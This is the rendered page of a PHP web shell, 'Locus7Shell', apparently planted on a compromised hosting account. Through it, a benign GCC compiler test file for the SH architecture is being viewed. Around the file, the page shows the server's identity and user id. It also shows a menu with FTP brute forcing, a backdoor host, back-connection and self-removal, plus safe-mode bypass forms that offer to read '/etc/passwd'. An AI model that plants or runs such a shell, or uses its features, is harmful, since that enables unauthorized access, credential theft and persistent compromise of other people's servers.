Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/sh/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr51244-20.c (2.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* Check that the SH specific sh_treg_combine RTL optimization pass works as
   expected.  */
/* { dg-do compile }  */
/* { dg-options "-O2 -fno-tree-dominator-opts -fno-tree-vrp" } */

/* { dg-final { scan-assembler-not "not\t" } } */
/* { dg-final { scan-assembler-times "cmp/eq" 2 } } */
/* { dg-final { scan-assembler-times "cmp/hi" 4 } } */
/* { dg-final { scan-assembler-times "cmp/gt" 2 } } */

/* { dg-final { scan-assembler-times "tst" 7 { target { ! sh2a } } } } */
/* { dg-final { scan-assembler-times "movt" 2 { target { ! sh2a } } } } */

/* { dg-final { scan-assembler-times "tst" 6 { target { sh2a } } } } */
/* { dg-final { scan-assembler-not "movt" { target { sh2a } } } } */
/* { dg-final { scan-assembler-times "nott" 2 { target { sh2a } } } } */


/* non-SH2A: 2x tst, 1x movt, 2x cmp/eq, 1x cmp/hi
   SH2A: 1x tst, 1x nott, 2x cmp/eq, 1x cmp/hi  */
static inline int
blk_oversized_queue_0 (int* q)
{
  if (q[2])
    return q[1] == 5; 
  return (q[0] != 5);
}

int __attribute__ ((noinline))
get_request_0 (int* q, int rw)
{
  if (blk_oversized_queue_0 (q))
    {
      if ((rw == 1) || (rw == 0))
    return -33;
      return 0;
    }
  return -100;
}


/* 1x tst, 1x cmp/gt, 1x cmp/hi
   On SH2A mem loads/stores have a wrong length of 4 bytes and thus will
   not be placed in a delay slot.  This introduces an extra cmp/gt insn.  */
static inline int
blk_oversized_queue_1 (int* q)
{
  if (q[2])
    return q[1] > 5; 
  return (q[0] > 5);
}

int __attribute__ ((noinline))
get_request_1 (int* q, int rw)
{
  if (blk_oversized_queue_1 (q))
    {
      if ((rw == 1) || (rw == 0))
    return -33;
      return 0;
    }
  return -100;
}


/* 1x tst, 1x cmp/gt, 1x cmp/hi, 1x cmp/hi  */
static inline int
blk_oversized_queue_2 (int* q)
{
  if (q[2])
    return q[1] > 5; 
  return (q[0] < 5);
}

int __attribute__ ((noinline))
get_request_2 (int* q, int rw)
{
  if (blk_oversized_queue_2 (q))
    {
      if ((rw == 1) || (rw == 0))
    return -33;
      return 0;
    }
  return -100;
}


/* 3x tst, 1x movt, 1x cmp/hi, 1x not  */
static inline int
blk_oversized_queue_5 (int* q)
{
  if (q[2])
    return q[1] != 0; 
  return q[0] == 0;
}

int __attribute__ ((noinline))
get_request_5 (int* q, int rw)
{
  if (blk_oversized_queue_5 (q))
    {
      if ((rw == 1) || (rw == 0))
    return -33;
      return 0;
    }
  return -100;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0063 ]--